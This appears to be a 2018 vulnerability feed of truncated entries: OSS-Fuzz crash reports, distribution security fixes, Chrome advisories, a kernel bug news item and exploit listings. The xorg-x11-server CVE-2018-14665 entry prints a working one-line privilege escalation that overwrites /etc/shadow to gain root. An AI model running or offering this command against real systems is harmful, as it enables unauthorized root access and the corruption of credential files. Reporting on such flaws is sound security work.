libgit2/objects_fuzzer: Heap-buffer-overflow in git__strntol64

Project: https://github.com/libgit2/libgit2.git Detailed report: https://oss-fuzz.com/testcase?key=5743628379488256 Project: libgit2 Fuzzer: afllibgit2objectsfuzzer Fuzz target binary: objectsfuzzer Job Type: aflasanlibgit2 Platform Id: linux Crash Type: Heap-buffer-overflow READ 1 Crash Address:...

Security fix for the ALT Linux 9 package systemd version 1:239-alt3

Oct. 29, 2018 Alexey Shabalin 1:239-alt3 - merge with v239-stable - Fixes for the following security vulnerabilities: + CVE-2018-15688 dhcp6: make sure we have enough space for the DHCP6 option header + CVE-2018-15687 chown-recursive: rework the recursive logic to use OPATH...

mupdf/pdf_fuzzer: NULL

Detailed report: https://oss-fuzz.com/testcase?key=5658375946240000 Project: mupdf Fuzzer: aflmupdfpdffuzzer Fuzz target binary: pdffuzzer Job Type: aflasanmupdf Platform Id: linux Crash Type: Null-dereference READ Crash Address: 0x000000000000 Crash State: NULL Sanitizer: address ASAN Reproducer...

xorg-x11-server 1.20.3 - Local Privilege Escalation Exploit

Exploit for multiple platform in category local exploits xorg-x11-server Local Privilege Escalation CVE-2018-14665 - a LPE exploit via http://X.org fits in a tweet cd /etc; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1;su Overwrite shadow or any file on most Linux, get root privileges. B...

skia/android_codec: Use-of-uninitialized-value in sse2::blit_row_s32a_opaque

Project: https://skia.googlesource.com/skia.git Detailed report: https://oss-fuzz.com/testcase?key=5751418862960640 Project: skia Fuzzer: libFuzzerskiaandroidcodec Fuzz target binary: androidcodec Job Type: libfuzzermsanskia Platform Id: linux Crash Type: Use-of-uninitialized-value Crash Address:...

bzip2/bzip2_decompress_target: Crash in unRLE_obuf_to_output_FAST

Detailed report: https://oss-fuzz.com/testcase?key=5660879073312768 Project: bzip2 Fuzzer: libFuzzerbzip2decompresstarget Fuzz target binary: bzip2decompresstarget Job Type: libfuzzerasanbzip2 Platform Id: linux Crash Type: UNKNOWN READ Crash Address: 0x7ff82d64d2f8 Crash State:...

skia/android_codec: Use-of-uninitialized-value in sse2::blit_row_s32a_opaque

Project: https://skia.googlesource.com/skia.git Detailed report: https://oss-fuzz.com/testcase?key=5751249413079040 Project: skia Fuzzer: libFuzzerskiaandroidcodec Fuzz target binary: androidcodec Job Type: libfuzzermsanskia Platform Id: linux Crash Type: Use-of-uninitialized-value Crash Address:...

skia/api_polyutils: Crash in SkTInternalLList<TriangulationVertex>::addToTail

Project: https://skia.googlesource.com/skia.git Detailed report: https://oss-fuzz.com/testcase?key=5743278792638464 Project: skia Fuzzer: libFuzzerskiaapipolyutils Fuzz target binary: apipolyutils Job Type: libfuzzerasanskia Platform Id: linux Crash Type: UNKNOWN READ Crash Address: 0x61d80000096...

gdal/gtiff_fuzzer: Crash in GDAL_LercNS::Lerc2::ReadHeader

Project: https://github.com/OSGeo/gdal.git Detailed report: https://oss-fuzz.com/testcase?key=5741391389392896 Project: gdal Fuzzer: aflgdalgtifffuzzer Fuzz target binary: gtifffuzzer Job Type: aflasangdal Platform Id: linux Crash Type: UNKNOWN READ Crash Address: 0x618f800006ff Crash State:...

libgit2/objects_fuzzer: Heap-buffer-overflow in tag_parse

Project: https://github.com/libgit2/libgit2.git Detailed report: https://oss-fuzz.com/testcase?key=5631127230873600 Project: libgit2 Fuzzer: libFuzzerlibgit2objectsfuzzer Fuzz target binary: objectsfuzzer Job Type: libfuzzerasanlibgit2 Platform Id: linux Crash Type: Heap-buffer-overflow READ 2...

Google Chrome < 70.0.3538.67 Multiple Vulnerabilities

The version of Google Chrome installed on the remote Windows host is prior to 70.0.3538.67. It is, therefore, affected by multiple vulnerabilities as referenced in the 201810stable-channel-update-for-desktop advisory. - Use after free in HTMLImportsController in Blink in Google Chrome prior to...

Stable Channel Update for Desktop

The Chrome team is delighted to announce the promotion of Chrome 70 to the stable channel for Windows, Mac and Linux. This will roll out over the coming days/weeks. Chrome 70.0.3538.67 contains a number of fixes and improvements -- a list of changes is available in the log. Watch out for upcoming...

Alchemy CMS 4.1-Stable Cross Site Scripting

Exploit Title: AlchemyCMS 4.1-stable - Cross-Site Scripting Date: 2018-10-14 Exploit Author: Ismail Tasdelen Vendor Homepage: https://alchemy-cms.com/ Software Link : https://github.com/AlchemyCMS/alchemycms Software : AlchemyCMS Version : 4.1-stable Vulernability Type : Cross-site Scripting...

openvswitch/odp_target: Use-of-uninitialized-value in ofpbuf_prealloc_tailroom

Project: https://github.com/openvswitch/ovs.git Detailed report: https://oss-fuzz.com/testcase?key=5769576931917824 Project: openvswitch Fuzzer: libFuzzeropenvswitchodptarget Fuzz target binary: odptarget Job Type: libfuzzermsanopenvswitch Platform Id: linux Crash Type: Use-of-uninitialized-value...

open62541/fuzz_binary_message: NULL

Detailed report: https://oss-fuzz.com/testcase?key=5693001825779712 Project: open62541 Fuzzer: libFuzzeropen62541fuzzbinarymessage Fuzz target binary: fuzzbinarymessage Job Type: libfuzzerubsanopen62541 Platform Id: linux Crash Type: UNKNOWN READ Crash Address: 0x7f535163ab78 Crash State: NULL...

ffmpeg/ffmpeg_AV_CODEC_ID_LIBFDK_AAC_fuzzer: Global-buffer-overflow in initSlotBasedRotation

Project: https://git.ffmpeg.org/ffmpeg.git Detailed report: https://oss-fuzz.com/testcase?key=5167035365982208 Project: ffmpeg Fuzzer: libFuzzerffmpegAVCODECIDLIBFDKAACfuzzer Fuzz target binary: ffmpegAVCODECIDLIBFDKAACfuzzer Job Type: libfuzzerasanffmpeg Platform Id: linux Crash Type:...

Another Linux Kernel Bug Surfaces, Allowing Root Access

A high-severity cache invalidation bug in the Linux kernel has been uncovered, which could allow an attacker to gain root privileges on the targeted system. This is the second kernel flaw in Linux to debut in the last week; a local-privilege escalation issue was also recently discovered. The flaw...

openvswitch/expr_parse_target: Stack-buffer-underflow in lex_parse_hex_integer

Project: https://github.com/openvswitch/ovs.git Detailed report: https://oss-fuzz.com/testcase?key=5699613135208448 Project: openvswitch Fuzzer: aflopenvswitchexprparsetarget Fuzz target binary: exprparsetarget Job Type: aflasanopenvswitch Platform Id: linux Crash Type: Stack-buffer-underflow REA...

jsc: Heap-buffer-overflow in JSC::WriteBarrierBase<JSC::Unknown, WTF::DumbValueTraits<JSC::Unknown> >::get

Detailed report: https://oss-fuzz.com/testcase?key=5648470396895232 Project: jsc Fuzzer: jsfuzzer Job Type: asanjsc Platform Id: linux Crash Type: Heap-buffer-overflow READ 8 Crash Address: 0x62d000060000 Crash State: JSC::WriteBarrierBase ::get JSC::arrayProtoFuncIndexOf jsc Sanitizer: address...

ffmpeg/ffmpeg_AV_CODEC_ID_ILBC_fuzzer: Stack-buffer-underflow in vector_multiplication

Project: https://git.ffmpeg.org/ffmpeg.git Detailed report: https://oss-fuzz.com/testcase?key=5638941487661056 Project: ffmpeg Fuzzer: aflffmpegAVCODECIDILBCfuzzer Fuzz target binary: ffmpegAVCODECIDILBCfuzzer Job Type: aflasanffmpeg Platform Id: linux Crash Type: Stack-buffer-underflow WRITE 2...